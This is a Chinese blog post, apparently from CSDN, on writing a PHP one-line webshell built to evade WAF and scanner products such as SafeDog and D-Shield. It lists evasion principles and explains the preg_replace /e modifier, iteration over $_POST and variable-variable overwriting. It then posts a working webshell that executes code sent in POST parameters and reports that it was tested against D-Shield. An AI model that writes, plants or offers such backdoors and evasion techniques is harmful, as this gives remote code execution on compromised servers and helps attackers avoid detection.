一枚过WAF的一句话的编写(加入自己的笔记)

首先说下WAF的正则
                           安全狗: 匹配关键字 ,出现就直接杀。
                           D盾:一些常规查杀,并且如果出现$xxx($yyy); 也会直接查杀,哪怕你明确的给$xxx赋一个毫无危害的值
                                      ........................................

                            我们的目标是打造一枚过全网WAF的马子
                                                                    so.....
    要求:  //为了让马子存活的时间尽可能地长
           1.最好不要出现敏感函数,也不要采取字符串拼接// 防安全狗
           2.尽量不要采取变量函数 //其实某些对变量函数的巧妙构造也可以绕过D盾的查杀,但为了存活时间长久,不采用变量函数
           3.如果查杀工具认为你无法给这个程序代码传任何数据,那么某个方面来讲,他可能就会认为你是无毒的。
           4.马子能执行命令!//最重要的一点
                                                           以上!
      提取以上要求的主要内容, 
                                           不用明文的敏感函数 如: assert eval 
                                           不用变量函数 如:  $a($b)
                                           让你的代码变得难以理解,以至于WAF认为你无法传参。
                                           能用!
     知识梳理: 
                          1.经过查询 我知道了关于PHP代码执行的一些姿势,不止局限于assert eval ,其实某些正常的函数通过不正常的传参也能执行代码。
                                           选取这类函数中的一种//这些函数的总结会在末尾放出
                                                   @preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )  //搜索subject中匹配pattern的部分, 以replacement进行替换。
                                                   相当正常的一个函数,开发中会用到,但它却会导致命令执行
                                                   
                                                    preg_replace()函数原本是执行一个正则表达式的搜索和替换,但因为存在危险的/e修饰符,使 preg_replace() 将 replacement 参数当作 PHP 代码   (这个特性在php5.5版本号以上 就废弃了
                                        示例代码:
                                                    <?php 
                                                           //?cmd=phpinfo()
                                                          @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); //将abcd中包含abc的部分替换成$_REQUEST['cmd'] 并且执行他
                                                    ?>
                                                   就用它来完成我们的主体
                          2. $_POST这个东西大家都不陌生 $_POST['X']的意思也不用我多说, 但这里我要提出一点,大家是否注意到了$_POST的类型,有变量符修饰,用[]访问,
                                                                 不错 这是一个数组!
                                           数组通过foreach可以访问它其中的所有名和值 格式如下
                                                         foreach ($数组名 as $key => $value) {} //key是名,value是值,他会遍历出数组内的所有数据。
                          3.有关PHP的变量覆盖:
                                                    $a = 1 ;
                                                    $b = 'a' ;
                                                    $$b = 'Surprise!';     (前面多加一个$把$b的内容当成变量名
                                                    echo $a ; 
                                           会输出Surprise! 具体原理相信大家都能理解
、                                                  其实到这里有人已经能猜到我要做什么了,我个人喜欢把理解性的东西留给大家,这样才能更好地进步,本个马子用到的全部知识都说完了。 接下来会直接贴出马子  //希望大家能独立地理清本个马
贴出代码:

     
     <?php
                 foreach ($_POST as $key => $value) {
                                $$key = $value ; 
                 }
                @preg_replace("/".$$key."/e",$$key,$value);
      ?>



     有关本马的一点劣势:任意密码都可以连接。 
              PS:本人实测过D盾,至于安全狗是否可以建议大家去试一下
                     TCV:看管理大大心情吧
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值